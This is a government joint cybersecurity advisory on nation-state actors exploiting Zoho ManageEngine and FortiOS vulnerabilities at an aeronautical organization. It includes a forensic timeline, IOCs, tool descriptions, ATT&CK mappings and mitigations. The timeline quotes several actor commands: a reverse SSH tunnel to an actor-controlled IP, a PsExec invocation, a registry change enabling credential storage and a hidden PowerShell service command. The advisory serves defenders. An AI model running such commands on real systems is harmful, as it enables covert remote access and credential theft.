Co-Authored by:

Product ID: AA23-250A

September 7, 2023

Multiple Nation-State Threat Actors Exploit CVE-2022-47966 and CVE-2022-42475

SUMMARY

The Cybersecurity and Infrastructure Security Agency (CISA), Federal Bureau of Investigation (FBI), and Cyber National Mission Force (CNMF) identified the presence of indicators of compromise (IOCs) at an Aeronautical Sector organization as early as January 2023. Analysts confirmed that nation-state advanced persistent threat (APT) actors exploited CVE-2022-47966 to gain unauthorized access to a public-facing application (Zoho ManageEngine ServiceDesk Plus), establish persistence, and move laterally through the network. This vulnerability allows for remote code execution on the ManageEngine application. Additional APT actors were also observed exploiting CVE-2022-42475 to establish presence on the organization's firewall device.

CISA and co-sealers are releasing this joint Cybersecurity Advisory (CSA) to provide network defenders with tactics, techniques, and procedures (TTPs), IOCs, and methods to detect and protect against similar exploitation.

Actions to take today to mitigate malicious cyber activity:

- Patch all systems for known exploited vulnerabilities (KEVs), including firewall security appliances.
- Monitor for unauthorized use of remote access software using endpoint detection tools.
- Remove unnecessary (disabled) accounts and groups from the enterprise that are no longer needed, especially privileged accounts.

For a downloadable copy of IOCs, see:

- AA23-250A STIX XML
- AA23-250A STIX JSON

For a downloadable copy of the Malware Analysis Report (MAR) accompanying this CSA, see: MAR-10430311-1.v1 Multiple Nation-State Threat Actors Exploit CVE-2022-47966 and CVE-2022-42475

To report suspicious or criminal activity related to information found in this Cybersecurity Advisory, contact CISA's 24/7 Operations Center at Report@cisa.gov or (888) 282-0870. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.

TECHNICAL DETAILS

Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 13. See Tables 3-13 for the APT actors' activity mapped to MITRE ATT&CK tactics and techniques with corresponding mitigation and/or detection recommendations.

Overview

By request of the impacted organization, CISA conducted an incident response engagement from February to April 2023. CISA and co-sealers assess that beginning as early as January 2023, multiple nation-state APT actors were present on the organization's network via at least two initial access vectors:

- **Initial Access Vector 1:** APT actors exploited CVE-2022-47966 to access the organization's web server hosting the public-facing application, Zoho ManageEngine ServiceDesk Plus.
- **Initial Access Vector 2:** APT actors exploited CVE-2022-42475 to access the organization's firewall device.

CISA and co-sealers identified an array of threat actor activity, to include overlapping TTPs across multiple APT actors. Per the activity conducted, APT actors often scan internet-facing devices for vulnerabilities that can be easily exploited. Firewall, virtual private networks (VPNs), and other edge network infrastructure continue to be of interest to malicious cyber actors. When targeted, they can be leveraged to expand targeted network access, serve as malicious infrastructure, or a mixture of both.

APT Actor Activity

Initial Access Vector 1

As early as January 2023, APT actors exploited CVE-2022-47966 [T1190] for initial access to the organization's web server hosting the public-facing application, Zoho ManageEngine ServiceDesk Plus. CISA observed indications in log files that a connection to the known malicious IP address `192.142.226[.]153` was made as part of initial exploitation.

Through exploitation of CVE-2022-47966, APT actors achieved root level access on the web server and created a local user account [T1136.001] named `Azure` with administrative privileges [T1068]. Actors were further able to download malware, enumerate the network, collect administrative user credentials, and move laterally through the organization's network. CISA and co-sealers were unable to determine if proprietary information was accessed, altered, or exfiltrated. This was due to the organization not clearly defining where their data was centrally located and CISA having limited network sensor coverage.

Initial Access Vector 2

Additional APT actors exploited CVE-2022-42475 on the organization's firewall device, which was indicated by multiple successful VPN connections from known-malicious IPs between February 1-16, 2023. It was identified that APT actors compromised and used disabled, legitimate administrative account credentials [T1078.003] from a previously hired contractor—of which the organization confirmed the user had been disabled prior to the observed activity.

Analysis identified that a common behavior for these threat actors was to use disabled administrative account credentials and delete logs from several critical servers in the environment [T1070.001]. This prevented the ability to detect follow-on exploitation or data exfiltration. CISA and co-sealers were also unable to further track the activity due to the organization not having Network Address Translation (NAT) IP logging enabled.

APT actors initiated multiple Transport Layer Security (TLS)-encrypted sessions [T1573.002] on Transmission Control Protocol (TCP) port 10443 [T1571], indicating successful exchanges of data transfer from the firewall device. APT actors were observed connecting to the device from the following actor-controlled C2 IP addresses:

- `144.202.2[.]71`
- `207.246.105[.]240`
- `45.77.121[.]232`
- `47.90.240[.]218`

APT actors further leveraged legitimate credentials to move from the firewall to a web server, where multiple web shells were loaded—among other locations, such as the OWA server—into the following directories. **Note:** The following file paths to these web shells were received in coordination with a trusted third-party; however, the artifacts were not received for analysis.

- `c:\Program Files\Microsoft Office Web Apps\RootWebsite\en-us\resource.aspx`
- `c:\inetpub\wwwroot\uninet\css\font-awesome\css\discover.ashx`
- `c:\inetpub\wwwroot\uninet\css\font-awesome\css\configlogin.ashx`
- `c:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\15\template\layouts\approveinfo.aspx`
- `c:\Program Files\Microsoft Office Web Apps\RootWebsite\infos.aspx`
- `c:\Program Files\Microsoft Office Web Apps\RootWebsite\errorinfo.aspx`
- `c:\Program Files\Microsoft Office Web Apps\RootWebsite\infos.ashx`
- `c:\Program Files\Microsoft Office Web Apps\RootWebsite\en-us\error.aspx`
- `c:\Program Files\Microsoft Office Web Apps\RootWebsite\en-us\infos.aspx`
- `c:\Program Files\Microsoft Office Web Apps\RootWebsite\en-us\info.aspx`
- `c:\Program Files\Microsoft Office Web Apps\RootWebsite\en-us\info-1.aspx`
- `c:\Program Files\Microsoft Office Web Apps\RootWebsite\en-us\new_list.aspx`
- `c:\Program Files\Microsoft Office Web Apps\RootWebsite\en-us\errorinfo.aspx`
- `c:\Program Files\Microsoft Office Web Apps\RootWebsite\en-us\lgnbotr.ashx`
- `c:\inetpub\passwordchange\0LECPNJYRH.aspx`
- `c:\inetpub\passwordchange\9ehj.aspx`
- `c:\inetpub\wwwroot\wss\VirtualDirectories\Portal80\_vti_pvt\servicesinfo.ashx`
- `c:\inetpub\wwwroot\wss\VirtualDirectories\Portal80\_vti_pvt\services.aspx`
- `c:\inetpub\redirectedSites\[REDACTED]\products\uns1fw.aspx`
- `c:\inetpub\redirectedSites\[REDACTED]\products\uns1ew.aspx`

The following IP addresses were identified as associated with the loaded web shells:

- `45.90.123[.]194`

- 154.6.91[.]26
- 154.6.93[.]22
- 154.6.93[.]5
- 154.6.93[.]12
- 154.6.93[.]32
- 154.6.93[.]24
- 184.170.241[.]27
- 191.96.106[.]40
- 102.129.145[.]232

Forensic Timeline of APT Actor Activity

Tables 1 and 2 list the timeline of events discovered during the incident response, as well as tools used by the APT actors to conduct their operations, respectively. All timestamps are presented in Coordinated Universal Time (UTC).

Table 1: Timeline of APT Actor Activity

Timestamp (UTC)	Event	Description
2023-01-18 11:57:02	`Hello World` User-Agent string observed in 44 total events. Uniform Resource Identifier (URI): `/cgi-bin/downloadFlile[.]cgi`	`Hello World`, the User-Agent string inside of the initiated HTTP request, was observed during communication between the organization's web server and malicious command and control (C2) server IP `92.118.39[.]82` [T1071.001]. This string has been observed in open source as an initial step of the Mirai botnet to download malicious artifacts [T1583.005].[1]
2023-01-20	Attempts made to export three files; associated with malicious IP `192.142.226[.]153`.	APT actors attempted to export [TA0009], [TA0010] three files, which were analyzed and identified as Local Security Authority Subsystem Service (LSASS) dump files. These files were renamed with `.zip` and `.gif` extensions to evade detection [T1036.008]. Analysis confirmed the APT actors were unsuccessful at exfiltrating these files: ▪ `wo_view_bg.zip` (09:06:37 UTC) ▪ `wo_view_bg1.gif` (09:08:11 UTC) ▪ `wo_view_bg2.gif` (09:19:43 UTC) **Note:** If local administrative access is achieved on a victim host, dumping LSASS credentials may allow for lateral movement across the environment. This behavior was identified during the engagement and is detailed throughout Table 1.

Timestamp (UTC)	Event	Description
2023-01-20 16:51:05	Successful web server exploitation via CVE-2022-47966.	Successful web server (Zoho ManageEngine ServiceDesk Plus) exploitation via CVE-2022-47966.
2023-01-21 06:46:42	`Azure` local user account with administrative permissions created.	A local user account with administrative permissions, named `Azure`, was created on the server hosting ServiceDesk Plus.
2023-01-21 06:49:40	LSASS dumped by `Azure` user.	The `Azure` user successfully accessed and dumped credentials stored in the process memory of LSASS for the Active Directory (AD) domain [T1003.001]. **Note:** Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
2023-01-21 06:50:59	`Mimikatz.exe` downloaded via ConnectWise ScreenConnect.	The legitimate ConnectWise ScreenConnect client was utilized to connect to the ServiceDesk system, download `mimikatz.exe`, and execute malicious payloads to steal credentials [T1219], [T1588.002]. **Note:** ConnectWise ScreenConnect was observed in multiple locations within the organization's environment, but the organization confirmed that it was not authorized software. Analysis assessed APT actors downloaded the legitimate software for malicious, illegitimate use prior to the download of `mimikatz.exe`.
2023-01-21 07:34:32	`Bitmap.exe` malware downloaded and designated to connect to C2 IP `179.60.147[.]4`.	`Azure` user account downloaded `bitmap.exe` to the ServiceDesk system to execute an obfuscated, embedded malicious payload from its C2 server [T1027.009]. This malware is identified as a variant of Metasploit (Meterpreter). See MAR-10430311-1.v1 for additional details.
2023-01-21 08:46:23	Mimikatz credential dump files created.	Two files (`c:\windows\system32\fuu.txt`, `c:\windows\system32\jojo.txt`) were created as means for Mimikatz to dump/write credentials to disk on the ServiceDesk system [T1003].

Timestamp (UTC)	Event	Description
2023-01-21 09:25:58	Legitimate files/applications `nmap.exe` and `npcap.exe` downloaded.	`Azure` user account downloaded `nmap.exe` [T1018] and `npcap.exe` [T1040] to continue network and credential information gathering efforts. Though legitimate applications, APT actors used these files for illegitimate, malicious purposes. **Note:** Adversaries may gather information about the victim's network topology that can be used during targeting. Information about network topologies may include a variety of details, including the physical and/or logical arrangement of both external-facing and internal network environments. This information may also include specifics regarding network devices (gateways, routers, etc.) and other infrastructure.
2023-01-21 13:56:14	`ssh2.zip` downloaded by the `Azure` user account.	APT actors downloaded the file `ssh2.zip` via the `Azure` user account, which contained legitimate files that could have been leveraged for malicious purposes. When unzipped, the following files were extracted: ▪ `install-sshd.ps1` (script) ▪ `psexec.exe` ▪ `sshd.exe` ▪ `ssh.exe` ▪ `ssh-sk-helper.exe` ▪ `libcrypto.dll` **Note:** CISA analyzed these files and did not identify the files as malicious. However, `ssh.exe` was downloaded to establish persistence on the ServiceDesk system via SSH [T1133] and is detailed in the scheduled task below.
2023-01-21 14:31:01	SSH tools downloaded to establish reverse (remote) communication.	Three identified executables, which provide a command line interface with the compromised system, were observed in the following file system locations: ▪ `c:\windows\system32\ssh-shellhost.exe` ▪ `c:\windows\system32\ssh-agent.exe` ▪ `c:\windows\system32\ssh-add.exe` While the files were not identified as malicious, they were loaded for malicious purposes.

Timestamp (UTC)	Event	Description
2023-01-21 14:33:11	`license validf` scheduled task created to communicate with malicious IP `104.238.234[.]145`.	`license validf` scheduled task [T1036.004] was created to execute `ssh.exe` on a recurring basis on the ServiceDesk system [T1053.005]: `c:\Windows\System32\ssh.exe -N -f -R 12100 sst@104.238.234.145 -p 443 -o StrictHostKeyChecking=no`

2023-01-21 14:51:49	PsExec executed on the ServiceDesk system.	Analysis identified evidence and execution of two files (`PsExec.exe` and `psexec.exe`) on the ServiceDesk system. These files were determined to be benign.
		APT actors utilized PsExec to create a scheduled task and force-store administrative credentials to the local machine.
		`psexec.exe -i -s C:\Windows\System32\mmc.exe /s C:\Windows\System32\taskschd.msc`
		`powershell New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DisableRestrictedAdmin" -Value "0" -PropertyType DWORD -Force`
		Note: PsExec, a command line utility from Microsoft's Sysinternals Suite, is known to be used for lateral movement; evidence of lateral movement via PsExec has not been confirmed.

2023-01-21 14:55:02	ProcDump created on the ServiceDesk system.	ProcDump was created within the `c:\windows\system32\prc64.exe` directory. This was later identified as a method for enumerating running processes/applications [T1057] and dumping LSASS credentials.
2023-01-21 14:02:45	Ngrok token created, renamed to `ngrok.yml` config file, and Remote Desktop Protocol (RDP) connection established.	Ngrok was used to establish an RDP connection [T1021.001]—another method of maintaining persistence on the ServiceDesk system. In this instance, Ngrok was used to establish a reverse proxy connection to the ServiceDesk system. At the time of analysis, the firewall access control lists (ACLs) allowed all outbound connections. Considering APT actors utilized an outbound proxy, the RDP session was successfully established as the connection was initiated from the ServiceDesk system.

Timestamp (UTC)	Event	Description
		Note: RDP is a common feature in operating systems, which allows a user to log into an interactive session with a system desktop graphical user interface on a remote system.
2023-01-24 15:07:18	Apache Log4j exploit attempted against the ServiceDesk system.	APT actors attempted to exploit a known Apache Log4j vulnerability (CVE-2021-44228) in the ServiceDesk system but were unsuccessful. The two IPs and one domain associated with this exploitation attempt are: ▪ `80.85.241[.]15` ▪ `68.177.56[.]38` ▪ `main.cloudfronts[.]net`
2023-01-25 00:17:33	Mimikatz credential dump files created.	One file (`c:\ManageEngine\ServiceDesk\bin\1.txt`) was created as a method for Mimikatz to dump/write credentials to disk on the ServiceDesk system. **Note:** This is a different path and time associated with Mimikatz than listed above.
2023-01-29	HTTP-GET requests sent to C2 IP `92.118.39[.]82`.	The server hosting ServiceDesk was observed beaconing/sending HTTP-GET requests to a suspected APT-controlled C2 server, indicating malware was successfully implanted.
2023-02-02 05:51:08	`Resource.aspx` web shell detected.	Using additionally compromised, legitimate administrative credentials, APT actors logged into the Outlook Web Application (OWA) server from the ServiceDesk system. The actors dropped an Active Server Pages Extended (ASPX) web shell in the following file system location, which was designed to execute remote JavaScript code [T1059.007] on the OWA server [T1505.003]: ▪ `c:\Program Files\Microsoft Office Web Apps\RootWebSite\en-us\resource.aspx` **Note:** The administrative user's credentials were obtained from the APT actors' collection (LSASS dump) of credentials from the entire AD domain. This user is separate from the actor-created `Azure` user account. See MAR-10430311-1.v1 for additional details.

Timestamp (UTC)	Event	Description
2023-02-02 18:45:58	Metasploit service installed.	APT actors installed Metasploit with the following attributes on the organization's domain controller [T1059.001]: ▪ Service Name: `QrrCvbrvnxasKTSb` [T1543.003] ▪ Service File Name: `%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -noni -c &quot;if([IntPtr]::Size -eq 4)` [T1564.003] **Note:** Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform several actions, including discovery of information and execution of code.
2023-02-03 03:27:59	`ConfigLogin.aspx` web shell detected.	APT actors dropped an additional ASPX web shell on a web server in the following file system location: ▪ `c:\inetpub\wwwrot\uninet\css\font-awesome\css\ConfigLogin.aspx` See MAR-10430311-1.v1 for additional details.
2023-02-03 15:12:23	`wkHPd.exe` created to communicate with malicious IP `108.62.118[.]160`.	APT actors created and used a variant of Metasploit (Meterpreter) on the ServiceDesk system, listed as `wkHPd.exe` [T1587.001]. This variant serves as an attack payload that runs an interactive shell and allows a malicious actor to control and execute code on a system. See MAR-10430311-1.v1 for additional details.
2023-02-08 08:56:35, 2023-02-09 20:19:59, 2023-03-04, 2023-03-18	Hypertext Preprocessor (PHP) files uploaded via HTTP-POST request from malicious IP `193.142.146[.]226`.	PHP files were uploaded to the ServiceDesk system via HTTP-POST request. APT actors were observed writing 16 instances of the following files to disk: ▪ `[REDACTED]/wp-content/themes/seotheme/db.php` (12 instances) ▪ `[REDACTED]/wp-content/plugins/ioptimization/IOptimize.php` (4 instances)
2023-03-06	`Interact.sh`	APT actors executed Domain Name System (DNS) scanning at an additional server (not the ServiceDesk

Timestamp (UTC)	Event	Description
06:49:40		system) and directed callback to the `Interact.sh` domain, which indicated the server was susceptible to a DNS-style attack [T1046]. Destination IP: `103.105.49[.]108`

Post-engagement analysis was extended but analysts were unable to determine additional actions taken by the APT actors, likely due to a lack of sensor coverage and data unavailability. With the data available, it was determined APT actors used the tools listed in Table 2 during their operations.

Table 2: Observed Tools Used by APT Actors

Tool	Description	Observation
Mimikatz [2]	A credential dumping tool capable of obtaining plaintext Windows account logins and passwords, along with many other features that make it useful for testing the security of networks.	In addition to using Mimikatz for credential dumping, APT actors dumped the following Windows Registry Hive files: ▪ `sam.hiv` [T1003.002] ▪ `system.hiv` ▪ `security.hiv` These files were dumped to obtain registry information such as users on the system, data used by the operating system [T1012], and installed programs.
Ngrok [3]	Ngrok software operates by running a client process on the machine and creating a private connection tunnel to a designated open port. Ngrok delivers instant ingress to applications in any cloud, private network, or devices with authentication, load balancing, and other critical controls. In recent years, Ngrok has been leveraged maliciously by a variety of threat actors, including use for persistence, lateral movement, and data exfiltration.[4],[5],[6]	Using Ngrok as an external service, APT actors were able to gain access to and utilize the command line on victim systems [T1572]. **Note:** CISA and co-sealers have observed this commonly used commercial platform being abused by malicious actors to bypass typical firewall controls. Ngrok's ability to tunnel RDP and other services securely over internet connections makes it a target for abuse by malicious actors.
ProcDump	A command-line application used to monitor processes and create crash dump files. A crash dump file contains the data loaded in memory at the time the dump was triggered.	APT actors used ProcDump to conduct reconnaissance and examine spawned processes (applications in use). This tool was also utilized as a utility for dumping

Tool	Description	Observation
	It is typically used for troubleshooting errors with an application or operating system.	credentials from the server hosting ServiceDesk Plus.
Metasploit	Metasploit is an open-source penetration testing software.	APT actors' specific use of Meterpreter—an attack payload of Metasploit—serves as an interactive shell and allows threat actors to control and execute code on a system.
Interact.sh	An open-source tool for detecting external interactions (communication).[7] This tool is used to detect callbacks from target systems for specified vulnerabilities and commonly used during the reconnaissance stages of adversary activity.	APT actors likely used `Interact.sh` to refrain from using and disclosing their own C2 infrastructure.
anydesk.exe	A remote desktop application that provides platform-independent remote access to personal computers and other devices running the host application. It offers remote control, file transfer, and VPN functionality.	Between early-February and mid-March 2023, `anydesk.exe` was observed on three hosts with different certificate issuers and hashes—none of which were the certified issuer [T1553.002]. APT actors compromised one host and moved laterally to install the executable on the remaining two [T1570]—listed in order of time, as follows: ▪ `c:\programdata\anydesk.exe` ▪ `c:\Users\[REDACTED]\Downloads\AnyDesk.exe` ▪ `c:\Users\[REDACTED]\Documents\personal\program\AnyDesk.exe` **Note:** Analysts confirmed APT actors' weaponized use of `anydesk.exe` but were unable to confirm how the software was installed on each host.
quser.exe	A valid program on Windows machines that displays information about user sessions on a Remote Desktop Session Host server [T1049], including the name of the user, name of the session on the remote desktop session host server, session ID, state of the session (active or disconnected), idle time (number of minutes since last keystroke or mouse movement), and date/time the user logged on.[8]	APT actors were observed using this tool as early as March 2023 across four locations with the same name but different hashes (one of which is associated with the Portuguese [Brazil] language pack): `c:\ProgramFiles\WindowsApps\Microsoft.LanguageExperiencePackpt-BR_19041.56.186.0_neutral__8wekyb3d8bbwe\Windows\System32\pt-BR`

Tool	Description	Observation
xpack.exe	A custom `.NET` loader that decrypts (AES), loads, and executes accompanying files.	`Xpack.exe` indicators were present on multiple organization hosts, with an unverified user account observed navigating to the sites: `xpack.github[.]io` and `xpack.disqus[.]com`. Additionally, one administrator account and multiple user accounts were observed executing the `xpack.exe` file from a hidden directory [T1564.001]: `c:\USERS\[REDACTED]\.P2\POOL\PLUGINS\ORG.ECLIPSE.EMBEDCDT.TEMPLATES.XPACK_6.3.1.202210101738` This malware was predominantly used to execute system commands, drop additional malware and tools, and stage data for exfiltration [T1074]. **Note:** The data exfiltrated is unknown.

MITRE ATT&CK TACTICS AND TECHNIQUES

See Tables 3-13 for all referenced APT actors' tactics and techniques for enterprise environments in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK's Best Practices for MITRE ATT&CK Mapping and CISA's Decider Tool.

Table 3: Resource Development

Technique Title	ID	Use
Acquire Infrastructure: Botnet	T1583.005	Actors used User-Agent string `Hello World` as an initial step of the Mirai botnet to later download malicious artifacts.
Develop Capabilities: Malware	T1587.001	Actors created and used a variant of Metasploit (Meterpreter) on the ServiceDesk system, listed as `wkHPd.exe`. This malware serves as an attack payload that runs an interactive shell; it allows for control and code execution on a system.
Obtain Capabilities: Exploits	T1588.002	Actors leveraged the legitimate ConnectWise ScreenConnect client to download and utilize the credential dumping tool, `mimikatz.exe`.

Table 4: Initial Access

Technique Title	ID	Use
Exploit Public-Facing Application	T1190	Actors exploited a known vulnerability (CVE-2022-47966) in the organization's web server hosting Zoho ManageEngine ServiceDesk Plus. Actors also attempted to exploit a known Apache Log4j vulnerability (CVE-2021-44228) in the ServiceDesk system but were unsuccessful.

Table 5: Execution

Technique Title	ID	Use
Command and Scripting Interpreter: PowerShell	T1059.001	Actors installed and used Metasploit via PowerShell on the organization's domain controller.
Command and Scripting Interpreter: JavaScript	T1059.007	Actors dropped an ASPX web shell on the OWA server, which was designed to execute remote JavaScript code.

Table 6: Persistence

Technique Title	ID	Use
Scheduled Task/Job: Scheduled Task	T1053.005	Actors created the scheduled task `license validf` to execute `ssh.exe` on a recurring basis. This executable was observed as means of establishing persistence on the ServiceDesk system.
Valid Accounts: Local Accounts	T1078.003	Actors compromised and utilized account credentials from a previously hired contractor, of which the contract ended prior to the timeframe of observed activity.
External Remote Services	T1133	`ssh.exe` executes on a recurring basis via a scheduled task on the ServiceDesk system as a method for access via SSH.
Create Account: Local Account	T1136.001	Actors created a local account with administrative permissions on the server hosting ServiceDesk Plus.
Server Software Component: Web Shell	T1505.003	Actors logged into the OWA server from the ServiceDesk system and dropped an ASPX web shell to establish persistent access and execute remote code.

Technique Title	ID	Use
Create or Modify System Process: Windows Service	T1543.003	Actors created a Windows Service via Metasploit.

Table 7: Privilege Escalation

Technique Title	ID	Use
Exploitation for Privilege Escalation	T1068	Through exploitation of CVE-2022-47966, actors were given root level access on the web server and created a local user account named `Azure` with administrative privileges.

Table 8: Defense Evasion

Technique Title	ID	Use
Indicator Removal: Clear Windows Event Logs	T1070.001	Actors compromised and used disabled, legitimate administrative account credentials to delete logs from several critical servers in the environment.
Masquerading: Masquerade Task or Service	T1036.004	Actors created a scheduled task `license validf`, which appears as legitimate/benign and executes `ssh.exe` on a recurring basis on the ServiceDesk system.
Masquerading: Masquerade File Type	T1036.008	Actors attempted to export three files, which were analyzed and identified as LSASS dump files. These files were renamed with `.zip` and `.gif` extensions to evade detection.
Obfuscated Files or Information: Embedded Payloads	T1027.009	Actors downloaded the malware `bitmap.exe` on the ServiceDesk system to execute an obfuscated, embedded malicious payload from its C2 server.
Subvert Trust Controls: Code Signing	T1553.002	`Anydesk.exe` was observed on three hosts with different certificate issuers and hashes—none of which were the certified issuer.
Hide Artifacts: Hidden Files and Directories	T1564.001	Actors used `xpack.exe` as a method for decrypting, loading, and executing accompanying files from a hidden directory.
Hide Artifacts: Hidden Window	T1564.003	Actors used `-w hidden` to conceal PowerShell windows by setting the WindowStyle parameter to hidden.

Table 9: Credential Access

Technique Title	ID	Use
OS Credential Dumping	T1003	Actors created three files as means for Mimikatz to dump/write credentials to disk on the ServiceDesk system.
OS Credential Dumping: LSASS Memory	T1003.001	Actors successfully accessed and dumped credentials stored in the process memory of LSASS for the AD domain, including with the use of ProcDump.
OS Credential Dumping: Security Account Manager	T1003.002	Actors dumped `sam.hiv` to obtain information about users on the system.

Table 10: Discovery

Technique Title	ID	Use
System Network Connections Discovery	T1049	`Quser.exe` was executed to acquire information about user sessions on a Remote Desktop Session Host server.
Query Registry	T1012	Actors dumped `system.hiv` and `security.hiv` to obtain information about the data used by the operating system.
Remote System Discovery	T1018	Actors downloaded the legitimate file/application `nmap.exe` via the `Azure` user to conduct network information gathering efforts.
Network Sniffing	T1040	Actors downloaded the legitimate file/application `npcap.exe` via the `Azure` user to conduct credential gathering efforts.
Network Service Discovery	T1046	Actors executed DNS scanning at a web server and directed callback to the `Interact.sh` domain, which indicated the server was susceptible to a DNS-style attack.
Process Discovery	T1057	ProcDump was created within the `c:\windows\system32\prc64.exe` directory as a method for enumerating running processes/applications.

Table 11: Lateral Movement

Technique Title	ID	Use
Remote Services: Remote Desktop Protocol	T1021.001	Ngrok was used to establish an RDP connection with the ServiceDesk system.
Lateral Tool Transfer	T1570	Actors compromised one host and moved laterally to install `anydesk.exe` on two additional hosts.

Table 12: Collection

Technique Title	ID	Use
Data Staged	T1074	Actors executed `xpack.exe` malware from a hidden directory. This malware was predominantly used to execute system commands, drop additional malware and tools, and stage data for exfiltration.

Table 13: Command and Control

Technique Title	ID	Use
Application Layer Protocol: Web Protocols	T1071.001	`Hello World` User-Agent string was identified in a HTTP request. Communication occurred between the organization's web server and an actor-controlled C2 IP address.
Remote Access Software	T1219	Actors leveraged ConnectWise ScreenConnect to connect to the ServiceDesk system. `Anydesk.exe` was run on at least three different hosts in the environment.
Non-Standard Port	T1571	Actors initiated multiple TLS-encrypted sessions on non-standard TCP port `10443`.
Protocol Tunneling	T1572	Using Ngrok as an external service, actors were able to gain access to and use the command line on victim systems via RDP.
Encrypted Channel: Asymmetric Cryptography	T1573.002	Actors initiated multiple TLS-encrypted sessions on TCP port `10443`, indicating successful exchanges of data transfer from the firewall device.

DETECTION METHODS

CISA and co-sealers recommend reviewing Tables 3-13: Identified ATT&CK Techniques for Enterprise in conjunction with the detections in this section to identify similar activity.

- **Enable logging for new user creation** [DS0002], as well as monitor executed commands and arguments for actions that are associated with local account creation, such as `net user /add`, `useradd`, and `dscl -create` [DS0017].
- **Monitor for newly constructed scheduled tasks** by enabling the "Microsoft-Windows-TaskScheduler/Operational" setting within the event logging service. Monitor for changes made to scheduled tasks that may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools [DS0003].
- **Monitor for API calls that may create or modify Windows services** (ex: `CreateServiceW()`) to repeatedly execute malicious payloads as part of persistence [DS0009].
- **Monitor executed commands and arguments that may attempt to access credential material** stored in the process memory of the LSASS [DS0017].
- **Monitor for user accounts logged into systems associated with RDP** (ex: Windows EID 4624 Logon Type 10) [DS0028].
- **Monitor for newly-constructed network connections associated with pings/scans** that may attempt to collect a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for lateral movement from the current system [DS0029].
- **Conduct full port scans (1-65535) on internet-facing systems**—not just a subset of the ports.

MITIGATIONS

Note: These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA's Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.

Manage Vulnerabilities and Configurations [CPG 1.E, CPG 3.A]

CISA and co-sealers identified that exploitation of CVE-2022-47966 granted initial access to the public-facing application, Zoho ManageEngine ServiceDesk Plus. Multiple Zoho ManageEngine on-premises products, such as ServiceDesk Plus through 14003, allow remote code execution due to use of version 1.4.1 of Apache XML Security for Java (also known as xmlsec) from the Apache Santuario project. Due to the xmlsec XSLT features by design in that version, the application is responsible for certain security protections. CISA and co-sealers recommend the following:

- **Document device configurations** [CPG 2.O]**.** Organizations should maintain updated documentation describing the current configuration details of all critical IT assets (and OT, where applicable), as this facilitates more effective vulnerability and response activities.
- **Keep all software up to date and patch systems for known exploited vulnerabilities.** In places with known exploited vulnerabilities on an endpoint device (e.g., firewall security appliances), conduct investigation prior to patching [CPG 1.E].
- **Follow a routine patching cycle** [M1051] for all operating systems, applications, and software (including all third-party software) to mitigate the potential for exploitation.
- **Prioritize remediation of vulnerabilities on internet-facing systems,** for example, by conducting continuous automated and/or routine vulnerability scans [M1016]. CISA offers a range of services at no cost, including scanning and testing to help organizations reduce exposure to threats via mitigating attack vectors. Specifically, Cyber Hygiene services can help provide a second-set of eyes on organizations' internet-accessible assets. Organizations can email vulnerability@cisa.dhs.gov with the subject line, “Requesting Cyber Hygiene Services” to get started. For additional guidance on remediating these vulnerabilities, see CISA Insights - Remediate Vulnerabilities for Internet-Accessible Systems.
- **Deploy security.txt files** [CPG 4.C]**.** All public-facing web domains have a security.txt file that conforms to the recommendations in RFC 9116.[9]

Segment Networks [CPG 2.F]

CISA and co-sealers identified that the organization did not employ proper network segmentation, such as a demilitarized zone (DMZ), during the initial discovery phase of the incident response. A DMZ serves as a perimeter network that protects and adds an extra layer of security to an organization’s internal local area network (LAN) from untrusted traffic.

- **Employ proper network segmentation, such as a DMZ,** and ensure to address the following recommendations. **Note:** The end goal of a DMZ network is to allow an organization to access untrusted networks, such as the internet, while ensuring its private network or LAN remains secure. Organizations typically store external-facing services and resources, as well as servers for DNS, File Transfer Protocol (FTP), mail, proxy, Voice over Internet Protocol (VoIP), and web servers in the DMZ [CPG 2.K, CPG 2.W].
  - Limit internet-facing port exposure for critical resources in the DMZ networks.
  - Limit exposed ports to only required IP addresses and avoid placing wildcards in destination port or host entries.
  - Ensure unsecured protocols like FTP and HTTP are limited in use and restricted to specific IP ranges.
  - If data flows from untrusted zone to trusted zone, ensure it is conducted over a secure protocol like HTTPS with mandatory multi-factor authentication.
- **Use a firewall or web-application firewall (WAF) and enable logging** to prevent/detect potential exploitation attempts [M1050]. Review ingress and egress firewall rules and block all unapproved protocols. Limit risky (but approved) protocols through rules.
  - Use WAF to limit exposure to just approved ports, as well as monitor file changes in web directories.

- **Implement network segmentation to separate network segments based on role and functionality.** Proper network segmentation significantly reduces the ability for threat actor lateral movement by controlling traffic flows between—and access to—various subnetworks. See CISA's Layering Network Security Through Segmentation infographic and the National Security Agency's (NSA's) Segment Networks and Deploy Application-Aware Defenses.

Manage Accounts, Permissions, and Workstations

APT actors were able to leverage disabled administrative accounts, as well as clear logs on several critical servers, which prevented the ability to detect follow-on exploitation or data exfiltration. CISA and co-sealers recommend the following:

- **Use phishing-resistant multi-factor authentication (MFA)** [CPG 2.H] (e.g., security tokens) for remote access and access to any sensitive data repositories. Implement phishing-resistant MFA for as many services possible—particularly for webmail and VPNs—for accounts that access critical systems and privileged accounts that manage backups. MFA should also be used for remote logins [M1032]. For additional guidance on secure MFA configurations, visit cisa.gov/MFA and CISA's Implementing Phishing-Resistant MFA Factsheet.
